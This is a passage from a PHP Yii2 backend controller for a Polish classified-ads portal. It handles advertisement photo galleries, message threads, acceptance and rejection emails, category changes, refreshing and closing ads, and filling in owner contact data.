            Yii::$app->params['activeMenuItem'] = 'advertisements-all'; 
        } elseif(Yii::$app->user->can('updateOwnAdvertisements', ['model' => $modelAdvertisement])) {
            $modelManagedCompany = Yii::$app->session->get('managedCompany');
            if(!empty($modelManagedCompany) && $modelManagedCompany->id_company === $modelAdvertisement->id_company && $modelManagedCompany->id_user === Yii::$app->user->id) {
                Yii::$app->params['activeMenuItem'] = 'advertisements-companies'; 
            } else {
                Yii::$app->params['activeMenuItem'] = 'advertisements-private';
            }
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $maxPhotoOrder = $modelAdvertisement->getPhotos()->select(['photo_order'])->max('photo_order');
        
        $model = new AdvertisementsPhotos(['scenario' => 'create']);
        $model->id_advertisement = $modelAdvertisement->id_advertisement;
        $model->title = 'Tutaj musisz cokolwiek wpisać...';
        $model->photo_order = intval($maxPhotoOrder) + 1;
        
        $model->file = \yii\web\UploadedFile::getInstancesByName('images');
        if(!$model->file) {
            return ['error' => Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.')];
        }     
        if(is_array($model->file) && isset($model->file[0])) {
            $model->file = $model->file[0];
        }
        $model->filename = AdvertisementsPhotos::createFileName($model->file->baseName, $model->file->extension);
            
        if(!$model->validate()) {
            return ['error' => implode(" | ", $model->getErrors())];
        }
            
        $newFilePath = $model->saveImageFile();
        if(!$newFilePath) {
            return ['error' => Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.')];
        }
        
        if(!$model->save(false)) {
            AdvertisementsPhotos::deleteImage($newFilePath);
            return ['error' => Yii::t('backend', 'Błąd podczas zapisu.')];
        }
        
        $output = [
            'initialPreview' => [
                $model->getImageUrl(true)
            ],
            'initialPreviewConfig' => [[
                'caption' => $model->filename,
                'width' => '120px', 
                'url' => '/advertisements/delete-photo/'.$model->id_advertisement, // server delete action 
                'key' => $model->id_photo, 
                'extra' => ['id' => $model->id_photo]
            ]]
        ];
        
        TagDependency::invalidate(Yii::$app->frontendCache, ['advertisement_'.$model->id_advertisement]);
        $this->createEntryForUserChange(UserChangeType::ADVERTISEMENT_MODIFIED, $model->id_advertisement, $model->id_company, 'Dodano zdjęcie do galerii.');
        
        return $output;
    }
    
    /**
     * Updates an existing AdvertisementsPhotos models.
     * If update is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateGallery($id)
    {
        $model = $this->findModel($id);
        
        if(Yii::$app->user->can('updateAdvertisements')) {
            Yii::$app->params['activeMenuItem'] = 'advertisements-all'; 
        } elseif(Yii::$app->user->can('updateOwnAdvertisements', ['model' => $model])) {
            $modelManagedCompany = Yii::$app->session->get('managedCompany');
            if(!empty($modelManagedCompany) && $modelManagedCompany->id_company === $model->id_company && $modelManagedCompany->id_user === Yii::$app->user->id) {
                Yii::$app->params['activeMenuItem'] = 'advertisements-companies'; 
            } else {
                Yii::$app->params['activeMenuItem'] = 'advertisements-private';
            }
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $postPhotos = Yii::$app->request->post('AdvertisementsPhotos', []);
        $idsPostedPhotos = array_map('intval', array_keys($postPhotos));
        
        $modelsPhotos = $model->getPhotos()->indexBy('id_photo')->all();        
        if(empty($modelsPhotos)) {
            return Yii::$app->getResponse()->redirect(['advertisements/update', 'id' => $model->id_advertisement], 302, false);
        }
        foreach($modelsPhotos as $key => $modelPhoto) {
            $modelPhoto->setScenario('update');
        }
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && \yii\base\Model::loadMultiple($modelsPhotos, Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validateMultiple($modelsPhotos, ['title', 'photo_order']);
        }
                
        if(Yii::$app->request->getIsPost()) {
            if(!empty($idsPostedPhotos) && !\yii\base\Model::loadMultiple($modelsPhotos, Yii::$app->request->post())) {                
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return Yii::$app->getResponse()->redirect(['advertisements/update', 'id' => $model->id_advertisement], 302, false);
            }
            
            if(!empty($idsPostedPhotos) && !\yii\base\Model::validateMultiple($modelsPhotos)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                return Yii::$app->getResponse()->redirect(['advertisements/update', 'id' => $model->id_advertisement], 302, false);
            }
            
            $transaction = Yii::$app->db->beginTransaction();            
            
            $flag = true;

            foreach($modelsPhotos as $key => $modelPhoto) {
                if(!in_array($modelPhoto->id_photo, $idsPostedPhotos)) {
                    $flag = $modelPhoto->delete();
                    unset($modelsPhotos[$key]);
                } else {
                    $flag = $modelPhoto->save(false);
                }

                if($flag === false) {
                    break;
                }
            }
            
            if($flag) {            
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['advertisement_'.$model->id_advertisement]); 
                $this->createEntryForUserChange(UserChangeType::ADVERTISEMENT_MODIFIED, $model->id_advertisement, $model->id_company, 'Zmodyfikowano galerię zdjęć.');
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        } 
        
        return Yii::$app->getResponse()->redirect(['advertisements/update', 'id' => $model->id_advertisement], 302, false);
    }
    
    /**
     * Deletes an existing AdvertisementsPhoto model.
     * If deletion is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeletePhoto($id)
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        $output = [];        
        
        if(($model = AdvertisementsPhotos::findOne($id)) === null) {
            $output = ['error' => Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')];
        } 
        
        if(!Yii::$app->user->can('updateAdvertisements', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = $model->delete();
        
        if($flag !== false) {
            $modelsPhotos = AdvertisementsPhotos::find()
                ->andWhere(['>', 'photo_order', $model->photo_order])
                ->andWhere(['id_advertisement' => $model->id_advertisement])
                ->andWhere(['!=', 'id_photo', $model->id_photo])
                ->all();
            if(!empty($modelsPhotos)) {  
                foreach($modelsPhotos as $modelPhoto) {
                    $modelPhoto->photo_order -= 1;
                    if(!$modelPhoto->save(false)) {
                        $flag = false;
                        break;
                    }
                }
            }
        }
                
        if($flag) {
            $transaction->commit();
            TagDependency::invalidate(Yii::$app->frontendCache, ['advertisement_'.$model->id_advertisement]);
        } else {
            $output = ['error' => Yii::t('backend', 'Błąd podczas usuwania danych.')];
            $transaction->rollBack();
        }
        
        return $output;
    } 
    
    /**
     * Lists all AdvertisementsMessages models.
     * @return mixed
     */
    public function actionMessages($id)
    {
        $model = $this->findModel($id);
        
        $threadKey = AdvertisementsMessages::find()
                    ->select(['thread_key'])
                    ->where(['advertisements_messages.id_advertisement' => $model->id_advertisement])
                    ->scalar();
        
//        if(!\Yii::$app->user->can('viewAdvertisements', ['model' => $model]) || !\Yii::$app->user->can('viewAdvertisementsMessages', ['threadKey' => $threadKey])) {
//            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
//        } 
        
        if(Yii::$app->user->can('viewAdvertisements') || Yii::$app->user->can('viewAdvertisementsMessages')) {
            Yii::$app->params['activeMenuItem'] = 'advertisements-messages-all'; 
        } elseif(Yii::$app->user->can('viewOwnAdvertisements', ['model' => $model]) || Yii::$app->user->can('viewAdvertisementsMessages', ['threadKey' => $threadKey])) {
            $modelManagedCompany = Yii::$app->session->get('managedCompany');
            if(!empty($modelManagedCompany) && $modelManagedCompany->id_company === $model->id_company && $modelManagedCompany->id_user === Yii::$app->user->id) {
                Yii::$app->params['activeMenuItem'] = 'advertisements-messages-companies'; 
            } else {
                Yii::$app->params['activeMenuItem'] = 'advertisements-messages-private';
            }
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $query = $model->getMessages()
                ->innerJoin(
                        ['m' => $model->getMessages()->select(['thread_key', 'MAX(id_message) AS latest_id_message'])->groupBy('thread_key')], 
                        'advertisements_messages.id_message = m.latest_id_message'
                )->orderBy('m.latest_id_message DESC');
                
        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'sort' => false,
            'pagination' => [
                'defaultPageSize' => 10,
            ],
        ]);

        return $this->render('messages', [
            'model' => $model,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionShowConversation($id)
    {
        $modelMessage = $this->findModelMessage($id);
        
        if(!\Yii::$app->user->can('viewAdvertisementsMessages', ['threadKey' => $modelMessage->thread_key])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
                
        if(Yii::$app->user->can('viewAdvertisementsMessages')) {
            Yii::$app->params['activeMenuItem'] = 'advertisements-messages-all'; 
        } elseif(Yii::$app->user->can('viewAdvertisementsMessages', ['threadKey' => $modelMessage->thread_key])) {
            $modelManagedCompany = Yii::$app->session->get('managedCompany');
            if(!empty($modelManagedCompany) && $modelManagedCompany->id_company === $modelMessage->advertisement->id_company && $modelManagedCompany->id_user === Yii::$app->user->id) {
                Yii::$app->params['activeMenuItem'] = 'advertisements-messages-companies'; 
            } else {
                Yii::$app->params['activeMenuItem'] = 'advertisements-messages-private';
            }
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $dataProvider = new ActiveDataProvider([
            'query' => AdvertisementsMessages::find()->with(['user', 'attachments'])->where(['thread_key' => $modelMessage->thread_key])->orderBy('id_message'),
            'sort' => false,
            'pagination' => [
                'defaultPageSize' => 20,
            ],
        ]);

        return $this->render('conversation', [
            'modelAdvertisement' => $modelMessage->advertisement,
            'modelMessage' => $modelMessage,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionAccept($id)
    {  
        if(!\Yii::$app->user->can('modifyAdvertisementsStatuses')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model = $this->findModel($id);
        
        if($model->status !== AdvertisementStatus::TO_ACCEPT) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['view', 'id' => $model->id_advertisement]);
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $model->status = AdvertisementStatus::ACTIVE;
        $flag = $model->save();   
        if($flag) {
            list($flag, $lastInsertedModel) = \backend\components\helpers\GoogleIndexingHelper::createEntryForAdvertisement($model, $model->portal);
        }
        $flag = $flag && $this->sendMailAboutAcceptance($model);
        $flag = $flag && IndexAdvertisements::refreshRecord($model->id_advertisement);
        
        if($flag) {
            $transaction->commit();
            TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_advertisements_portal_'.$model->id_portal]);
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));            
        }
        else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }
        
        return $this->redirect(['view', 'id' => $model->id_advertisement]);
    }
    
    protected function sendMailAboutAcceptance($model) 
    { 
        $smtpSettings = $model->portal->getSettingsKey('smtp_settings');       
        if(empty($smtpSettings)) {
            return false;
        }
        
        if(!empty($model->email)) {
            $email = $model->email;
        } else {
            $email = $model->user->getContactData()
                        ->select('data_value')
                        ->where([
                            'required' => 1,
                            'data_type' => \common\models\types\ContactDataType::EMAIL
                        ])
                        ->scalar();
        }        
        if(empty($email)) {
            return true; //nie ma maila, ale błędu niejako też nie
        }
        
        //wysyłamy emaile z powiadomieniem o akceptacji (publikacji) ogłoszenia (###MAIL_9###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = false;
        $mailer->textLayout = false;
        $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                    ->setUsername($smtpSettings['username'])
                    ->setPassword($smtpSettings['password']);
        $flag = $mailer->compose(
                [
                    'html' => 'advertisement_acceptance_html',
                    'text' => 'advertisement_acceptance_text'
                ],
                [
                    'model' => $model,  
                    'domain' => $model->portal->domain,
                ]
            )
            ->setFrom([$smtpSettings['username'] => $model->portal->domain.' - system vManager'])
            ->setSubject(Yii::t('common-mails', 'Twoje ogłoszenie nr {id} zostało opublikowane na portalu {domain}', ['id' => $model->id_advertisement, 'domain' => $model->portal->domain]))
            ->setTo($email)
            ->send();
        
        return $flag;
    }
    
    public function actionReject()
    {          
        if(!Yii::$app->request->getIsPost()) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelAdvertisementRejectForm = new \backend\models\AdvertisementRejectForm();
        if(!$modelAdvertisementRejectForm->load(Yii::$app->request->post())) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
            return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['index']);
        }
        
        if(!$modelAdvertisementRejectForm->validate()) {
            Yii::$app->session->addFlash('error', $modelAdvertisementRejectForm->getErrors());
            return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['index']);
        }
        
        $model = \common\models\Advertisements::findOne($modelAdvertisementRejectForm->id_advertisement);        
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        } 
        
        if(!\Yii::$app->user->can('deleteAdvertisements')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if($model->status !== AdvertisementStatus::TO_ACCEPT) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['view', 'id' => $model->id_advertisement]);
        }
        
        $transaction = Yii::$app->db->beginTransaction();     
        
        if ($model->delete() !== false) {
            $transaction->commit();
            $this->sendMailAboutReject($model, $modelAdvertisementRejectForm->reject_reason);
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.')); 
            TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_advertisements_portal_'.$model->id_portal, 'advertisement_'.$model->id_advertisement]);
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }

        return $this->redirect(['index']);
    }
    
    protected function sendMailAboutReject($model, $rejectReason = null) 
    { 
        $smtpSettings = $model->portal->getSettingsKey('smtp_settings');       
        if(empty($smtpSettings)) {
            return false;
        }
        if(!empty($model->email)) {
            $email = $model->email;
        } else {
            $email = $model->user->getContactData()
                        ->select('data_value')
                        ->where([
                            'required' => 1,
                            'data_type' => \common\models\types\ContactDataType::EMAIL
                        ])
                        ->scalar();
        }
        if(empty($email)) {
            return true; //nie ma maila, ale błędu niejako też nie
        }
        
        //wysyłamy emaile z powiadomieniem o odrzuceniu ogłoszenia (###MAIL_10###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = false;
        $mailer->textLayout = false;
        $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                    ->setUsername($smtpSettings['username'])
                    ->setPassword($smtpSettings['password']);
        $flag = $mailer->compose(
                [
                    'html' => 'advertisement_reject_html',
                    'text' => 'advertisement_reject_text'
                ],
                [
                    'model' => $model,  
                    'domain' => $model->portal->domain,
                    'rejectReason' => $rejectReason
                ]
            )
            ->setFrom([$smtpSettings['username'] => $model->portal->domain.' - system vManager'])
            ->setSubject(Yii::t('common-mails', 'Twoje ogłoszenie nr {id} zostało odrzucone', ['id' => $model->id_advertisement]))
            ->setTo($email)
            ->send();
        
        return $flag;
    }
    
    public function actionChangeCategory($id)
    {
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('updateAdvertisements', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idNewCategory = Yii::$app->request->get('id_category');
        if(empty($idNewCategory)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['update', 'id' => $model->id_advertisement]);
        }
        
        $modelNewCategory = AdvertisementsCategories::findOne($idNewCategory);
        if($modelNewCategory === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        if($model->or_paid === 0) {
            $userAdvertisementsLimits = new \common\models\UserAdvertisementsLimits($model->id_user);
            if(!empty($model->id_company)) {
                $possibilityAdding = $userAdvertisementsLimits->checkPossibilityAdding($modelNewCategory->id_portal, $model->id_company, true);
            } else {                
                $possibilityAdding = $userAdvertisementsLimits->checkPossibilityAdding($modelNewCategory->id_portal, $model->id_user);
            }
            if($possibilityAdding === \common\models\UserAdvertisementsLimits::NO_POSSIBILITY) {
                Yii::$app->session->addFlash('warning', Yii::t('backend', 'Wykorzystałeś już limit ogłoszeń na tym portalu.'));
                return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['update', 'id' => $model->id_advertisement]);
            }
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        if(!empty($model->relationsWithParams)) {
            $idsParamsForNewCategory = $modelNewCategory->getRelationsWithParams()->select(['id_param'])->indexBy('id_param')->column();
            
            foreach($model->relationsWithParams as $modelAdvertisementHasAdvertisementParam) {
                if(!in_array($modelAdvertisementHasAdvertisementParam->id_param, $idsParamsForNewCategory)) {
                    $flag = $modelAdvertisementHasAdvertisementParam->delete();
                    if($flag === false) {
                        $transaction->rollBack();
                        Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
                        return $this->redirect(['update', 'id' => $model->id_advertisement]);
                    }
                }
            }
        }
        
        $modelActualCategory = $model->category;
        
        $model->id_portal = $modelNewCategory->id_portal;
        $model->id_category = $modelNewCategory->id_category;
        
        if($model->or_paid === 0 && $possibilityAdding === \common\models\UserAdvertisementsLimits::USING_PAID_TICKET) {
            $model->or_paid = 1;
            
            if(!empty($model->id_company)) {
                $modelCompany = \common\models\Companies::findOne($model->id_company);
                $numberOfTickets = intval($modelCompany->getSettingsKey('advertisements_tickets'));
                $modelCompany->getSettingsKey('advertisements_tickets', ($numberOfTickets-1));
                $flag = $modelCompany->saveSettings();
            } else {
                $modelUser = \common\models\Users::findOne($model->id_user);
                $numberOfTickets = intval($modelUser->getSettingsKey('advertisements_tickets'));
                $modelUser->getSettingsKey('advertisements_tickets', ($numberOfTickets-1));
                $flag = $modelUser->saveSettings();
            }
        }
        
        $flag = $model->save(false);
        if($flag) {
            $transaction->commit();
            TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_advertisements_portal_'.$modelActualCategory->id_portal, 'mainpage_box_advertisements_portal_'.$modelNewCategory->id_portal, 'advertisement_'.$model->id_advertisement]);
            $this->createEntryForUserChange(UserChangeType::ADVERTISEMENT_MODIFIED, $model->id_advertisement, $model->id_company);
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }
        
        return $this->redirect(['update', 'id' => $model->id_advertisement]);
    }
    
    public function actionRefresh($id)
    {  
        $model = $this->findModel($id);
        
        if(!\Yii::$app->user->can('refreshAdvertisements', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $dateInterval = (new \DateTime())->diff(new \DateTime($model->publication_datetime));
        if($dateInterval->days < Advertisements::MIN_NUM_OF_DAYS_FOR_REFRESH) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['view', 'id' => $model->id_advertisement]);
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = true;
        
        if($model->status !== AdvertisementStatus::ACTIVE && $model->status !== AdvertisementStatus::TO_ACCEPT) {
            if(Yii::$app->user->can('refreshAdvertisements')) {
                //nic nie robimy
            } elseif(Yii::$app->user->can('refreshOwnAdvertisements', ['model' => $model])) {
                $userAdvertisementsLimits = new \common\models\UserAdvertisementsLimits($model->id_user);
                $possibilityAdding = !empty($model->id_company) ? $userAdvertisementsLimits->checkPossibilityAdding($model->id_portal, $model->id_company, true) : $userAdvertisementsLimits->checkPossibilityAdding($model->id_portal, $model->id_user);
                
                if($possibilityAdding === \common\models\UserAdvertisementsLimits::NO_POSSIBILITY) {
                    Yii::$app->session->addFlash('warning', Yii::t('backend', 'Wykorzystałeś już limit ogłoszeń na tym portalu.'));
                    return $this->redirect(['view', 'id' => $model->id_advertisement]);
                } elseif($possibilityAdding === \common\models\UserAdvertisementsLimits::USING_PAID_TICKET) {
                    if(!empty($model->id_company)) {
                        $modelCompany = \common\models\Companies::findOne($model->id_company);
                        $numberOfTickets = intval($modelCompany->getSettingsKey('advertisements_tickets'));
                        $modelCompany->getSettingsKey('advertisements_tickets', ($numberOfTickets-1));
                        $flag = $modelCompany->saveSettings();
                    } else {
                        $modelUser = \common\models\Users::findOne($model->id_user);
                        $numberOfTickets = intval($modelUser->getSettingsKey('advertisements_tickets'));
                        $modelUser->getSettingsKey('advertisements_tickets', ($numberOfTickets-1));
                        $flag = $modelUser->saveSettings();
                    }
                    $model->or_paid = 1;
                } else {
                    $model->or_paid = 0;
                }
            }
        }
        
        if($model->status !== AdvertisementStatus::TO_ACCEPT) {
            $model->status = AdvertisementStatus::ACTIVE;
        }
        
        $model->publication_datetime = date('Y-m-d H:i:s');
        $model->or_sent_reminder = 0;
        
        $flag = $flag = $model->save();  
        
        if(!empty($model->email)) {
            $email = $model->email;
        } else {        
            $email = $model->user->getContactData()
                        ->select(['data_value'])
                        ->where([
                            'data_type' => \common\models\types\ContactDataType::EMAIL, 
                            'required' => 1
                        ])
                        ->limit(1)
                        ->scalar();     
        }
        if($flag && !empty($email)) {
            //wysyłamy emaila z powiadomieniem o odświeżeniu ogłoszenia (###MAIL_42###) 
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = false;
            $mailer->textLayout = false;
            $flag = $message = $mailer->compose(
                    [
                        'html' => 'advertisement_refreshment_html',
                        'text' => 'advertisement_refreshment_text'
                    ],
                    [
                        'model' => $model,  
                        'domain' => $model->portal->domain,
                    ]
                )
                ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                ->setTo($email)
                ->setSubject(Yii::t('common-mails', 'Twoje ogłoszenie nr {id} zostało opublikowane na portalu {domain}', ['id' => $model->id_advertisement, 'domain' => $model->portal->domain]))
                ->send(); 
        }
        
        $flag = $flag && IndexAdvertisements::refreshRecord($model->id_advertisement);
        
        if($flag) {
            $transaction->commit();
            TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_advertisements_portal_'.$model->id_portal]);
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));            
        }
        else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }
        
        return $this->redirect(['view', 'id' => $model->id_advertisement]);
    }
    
    public function actionClose($id)
    {  
        $model = $this->findModel($id);
        
        if(!\Yii::$app->user->can('closeAdvertisements', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if($model->status === AdvertisementStatus::INACTIVE) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['view', 'id' => $model->id_advertisement]);
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $model->expiry_date = date('Y-m-d');
        $model->status = AdvertisementStatus::INACTIVE;
        
        $flag = $model->save();
        $flag = $flag && IndexAdvertisements::refreshRecord($model->id_advertisement);
        
        if($flag) {
            $transaction->commit();
            TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_advertisements_portal_'.$model->id_portal]);
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));            
        }
        else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }
        
        return $this->redirect(['view', 'id' => $model->id_advertisement]);
    }
    
    public function actionUsersList()
    {
        if(!\Yii::$app->user->can('createAdvertisements', ['model' => null]) && !\Yii::$app->user->can('updateAdvertisements', ['model' => null])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $searchModel = new UsersSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->renderAjax('users_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    public function actionCompaniesList()
    {
        if(!\Yii::$app->user->can('createAdvertisements', ['model' => null]) && !\Yii::$app->user->can('updateAdvertisements', ['model' => null])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idUser = Yii::$app->request->get('idUser');
        $queryParams = Yii::$app->request->queryParams;
        
        if(!empty($idUser)) {
            if(($modelUser = Users::findOne($idUser)) === null) {
                throw new NotFoundHttpException('The requested page does not exist.');
            }
            $queryParams['CompaniesSearch']['id_user'] = $modelUser->id_user;
        }

        $searchModel = new CompaniesSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->renderAjax('companies_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    protected function checkIfCanRefresh($model)
    {        
        $dateInterval = (new \DateTime())->diff(new \DateTime($model->publication_datetime));
        if($dateInterval->days < Advertisements::MIN_NUM_OF_DAYS_FOR_REFRESH) {
            return false;
        }
        
        if(Yii::$app->user->can('refreshAdvertisements')) {
            return true;
        } elseif(Yii::$app->user->can('refreshOwnAdvertisements', ['model' => $model])) {
            $userAdvertisementsLimits = new \common\models\UserAdvertisementsLimits($model->id_user);
            $possibilityAdding = !empty($model->id_company) ? $userAdvertisementsLimits->checkPossibilityAdding($model->id_portal, $model->id_company, true) : $userAdvertisementsLimits->checkPossibilityAdding($model->id_portal, $model->id_user);

            if($possibilityAdding === \common\models\UserAdvertisementsLimits::NO_POSSIBILITY) {
                return false;
            } else {
                return true;
            }
        } else {
            return false;
        }
    }
    
    protected function fillAdvertisementOwnerData($modelAdvertisement, $modelOwner)
    {
        if(empty($modelAdvertisement) || empty($modelOwner)) {
            return;
        }
        
        if($modelOwner instanceof \common\models\Users) {
            $phone = $modelOwner->getContactData()->select(['data_value'])->where(['required' => 1, 'data_type' => [\common\models\types\ContactDataType::MOBILE_PHONE, \common\models\types\ContactDataType::PHONE]])->orderBy('data_order ASC')->limit(1)->scalar();
            if(empty($phone)) {
                $phone = $modelOwner->getContactData()->select(['data_value'])->where(['data_type' => [\common\models\types\ContactDataType::MOBILE_PHONE, \common\models\types\ContactDataType::PHONE]])->orderBy('data_order ASC')->limit(1)->scalar();
            }
            $modelAdvertisement->contact_person = $modelOwner->forename.' '.$modelOwner->surname;
            if(!empty($phone)) {
                $modelAdvertisement->phone = $phone;
            }
            $email = $modelOwner->getContactData()->select(['data_value'])->where(['required' => 1, 'data_type' => \common\models\types\ContactDataType::EMAIL])->orderBy('data_order ASC')->limit(1)->scalar();
            if(empty($email)) {
                $email = $modelOwner->getContactData()->select(['data_value'])->where(['data_type' => \common\models\types\ContactDataType::EMAIL])->orderBy('data_order ASC')->limit(1)->scalar();
            }
            if(!empty($email)) {
                $modelAdvertisement->email = $email;
            }
            $modelAddress = $modelOwner->getAddresses()->orderBy('or_main DESC')->limit(1)->one();
            if(!empty($modelAddress)) {
                $modelAdvertisement->street = $modelAddress->street;
                $modelAdvertisement->building_number = $modelAddress->building_number;
                $modelAdvertisement->apartment_number = $modelAddress->apartment_number;
                $modelAdvertisement->locality = $modelAddress->locality;
                $modelAdvertisement->postcode = $modelAddress->postcode;
                $modelAdvertisement->id_country = $modelAddress->id_country;
                $idRegion = \common\models\Regions::find()->select(['id_region'])->where(['name' => $modelAddress->region])->limit(1)->scalar();
                if(!empty($idRegion)) {
                    $modelAdvertisement->id_region = $idRegion;
                }            
                $modelAdvertisement->lat = $modelAddress->lat;
                $modelAdvertisement->lng = $modelAddress->lng;
            }
            
        } elseif($modelOwner instanceof \common\models\Companies) {
            $phone = $modelOwner->getContactData()->select(['data_value'])->where(['required' => 1, 'data_type' => [\common\models\types\ContactDataType::MOBILE_PHONE, \common\models\types\ContactDataType::PHONE]])->orderBy('data_order ASC')->limit(1)->scalar();
            if(empty($phone)) {
                $phone = $modelOwner->getContactData()->select(['data_value'])->where(['data_type' => [\common\models\types\ContactDataType::MOBILE_PHONE, \common\models\types\ContactDataType::PHONE]])->orderBy('data_order ASC')->limit(1)->scalar();
            }
            if(empty($phone)) {
                $phone = $modelOwner->user->getContactData()->select(['data_value'])->where(['required' => 1, 'data_type' => [\common\models\types\ContactDataType::MOBILE_PHONE, \common\models\types\ContactDataType::PHONE]])->orderBy('data_order ASC')->limit(1)->scalar();
            }
            if(empty($phone)) {
                $phone = $modelOwner->user->getContactData()->select(['data_value'])->where(['data_type' => [\common\models\types\ContactDataType::MOBILE_PHONE, \common\models\types\ContactDataType::PHONE]])->orderBy('data_order ASC')->limit(1)->scalar();
            }
            $modelAdvertisement->contact_person = $modelOwner->user->forename.' '.$modelOwner->user->surname;
            if(!empty($phone)) {
                $modelAdvertisement->phone = $phone;
            }
            $modelAdvertisement->street = $modelOwner->street;
            $modelAdvertisement->building_number = $modelOwner->building_number;
            $modelAdvertisement->apartment_number = $modelOwner->apartment_number;
            $modelAdvertisement->locality = $modelOwner->locality;
